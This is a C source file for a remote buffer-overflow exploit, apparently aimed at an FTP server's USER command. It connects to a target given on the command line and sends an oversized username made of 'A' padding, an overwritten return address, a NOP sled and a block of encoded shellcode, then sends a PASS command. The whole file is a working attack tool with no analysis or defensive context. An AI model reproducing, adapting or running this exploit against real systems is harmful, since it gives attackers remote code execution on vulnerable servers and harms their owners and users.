#include <stdio.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netdb.h>

int main(int argc, char **argv)

{

struct sockaddr_in addr;

struct hostent *host;

char buffer[1109];

char buffer2[16];
int s, i;

if(argc != 3)

{

fprintf(stderr, "usage: %s <host> <port>\n", argv[0]);

exit(0);

}

s = socket(AF_INET, SOCK_STREAM, 0);

if(s == -1)

{

perror("socket() failed\n");

exit(0);

}

host = gethostbyname(argv[1]);

if( host == NULL)

{

herror("gethostbyname() failed");

exit(0);

}

addr.sin_addr = *(struct in_addr*)host->h_addr;

addr.sin_family = AF_INET;

addr.sin_port = htons(atol(argv[2]));

 

if(connect(s, &addr, sizeof(addr)) == -1)

{

perror("couldn't connect so server\n");

exit(0);

}
char buffRead[2048];
recv(s, buffRead, 2048, 0);
printf("%s\n", buffRead);
/* Not difficult only filling buffer with A’s.... den sending nothing more */

char shellcode[] =  "\xda\xdf\xd9\x74\x24\xf4\x5b\x29\xc9\xba\x74\xac\x4b\x92\xb1"
"\x4f\x83\xc3\x04\x31\x53\x15\x03\x53\x15\x96\x59\xb7\x7a\xdf"
"\xa2\x48\x7b\xbf\x2b\xad\x4a\xed\x48\xa5\xff\x21\x1a\xeb\xf3"
"\xca\x4e\x18\x87\xbe\x46\x2f\x20\x74\xb1\x1e\xb1\xb9\x7d\xcc"
"\x71\xd8\x01\x0f\xa6\x3a\x3b\xc0\xbb\x3b\x7c\x3d\x33\x69\xd5"
"\x49\xe6\x9d\x52\x0f\x3b\x9c\xb4\x1b\x03\xe6\xb1\xdc\xf0\x5c"
"\xbb\x0c\xa8\xeb\xf3\xb4\xc2\xb3\x23\xc4\x07\xa0\x18\x8f\x2c"
"\x12\xea\x0e\xe5\x6b\x13\x21\xc9\x27\x2a\x8d\xc4\x36\x6a\x2a"
"\x37\x4d\x80\x48\xca\x55\x53\x32\x10\xd0\x46\x94\xd3\x42\xa3"
"\x24\x37\x14\x20\x2a\xfc\x53\x6e\x2f\x03\xb0\x04\x4b\x88\x37"
"\xcb\xdd\xca\x13\xcf\x86\x89\x3a\x56\x63\x7f\x43\x88\xcb\x20"
"\xe1\xc2\xfe\x35\x93\x88\x96\xfa\xa9\x32\x67\x95\xba\x41\x55"
"\x3a\x10\xce\xd5\xb3\xbe\x09\x19\xee\x06\x85\xe4\x11\x76\x8f"
"\x22\x45\x26\xa7\x83\xe6\xad\x37\x2b\x33\x61\x68\x83\xec\xc1"
"\xd8\x63\x5d\xa9\x32\x6c\x82\xc9\x3c\xa6\xb5\xce\xab\x89\x6e"
"\xc4\x0e\x62\x6d\xe4\x41\x2e\xf8\x02\x0b\xde\xac\x9d\xa4\x47"
"\xf5\x55\x54\x87\x23\xfd\xf5\x1a\xa8\xfd\x70\x07\x67\xaa\xd5"
"\xf9\x7e\x3e\xc8\xa0\x28\x5c\x11\x34\x12\xe4\xce\x85\x9d\xe5"
"\x83\xb2\xb9\xf5\x5d\x3a\x86\xa1\x31\x6d\x50\x1f\xf4\xc7\x12"
"\xc9\xae\xb4\xfc\x9d\x37\xf7\x3e\xdb\x37\xd2\xc8\x03\x89\x8b"
"\x8c\x3c\x26\x5c\x19\x45\x5a\xfc\xe6\x9c\xde\x0c\xad\xbc\x77"
"\x85\x68\x55\xca\xc8\x8a\x80\x09\xf5\x08\x20\xf2\x02\x10\x41"
"\xf7\x4f\x96\xba\x85\xc0\x73\xbc\x3a\xe0\x51";


buffer[0] = 'U';
buffer[1] = 'S';
buffer[2] = 'E';
buffer[3] = 'R';
buffer[4] = ' ';

for(i = 5; i < 490 ; i++)

buffer[i] = 'A';

buffer[490] = '\xD7';
buffer[491] = '\x30';
buffer[492] = '\x9D';
buffer[493] = '\x7C';
buffer[494] = 'C';
buffer[495] = 'C';
buffer[496] = 'C';
buffer[497] = 'C';
for (i = 498; i < 760; i++)

buffer[i] = '\x90';

for (i = 0; i < 341; i++)

buffer[i+760] = shellcode[i];

buffer[1101] = '\r';
buffer[1102] = '\n';
buffer[1103] = '\0';
printf("buffer is: %s\n", buffer);

send(s, buffer, strlen(buffer), 0);
recv(s, buffRead, 2048, 0);
printf("%s\n", buffRead);

buffer2[0] = 'P';
buffer2[1] = 'A';
buffer2[2] = 'S';
buffer2[3] = 'S';
buffer2[4] = ' ';
buffer2[5] = 'P';
buffer2[6] = 'A';
buffer2[7] = 'S';
buffer2[8] = 'S';
buffer2[9] = 'W';
buffer2[10] = 'O';
buffer2[11] = 'R';
buffer2[12] = 'D';
buffer2[13] = '\r';
buffer2[14] = '\n';
buffer2[15] = '\0';
send(s, buffer2, strlen(buffer2), 0);
recv(s, buffRead, 2048, 0);
printf("%s\n", buffRead);
close(s);

return 0;

}
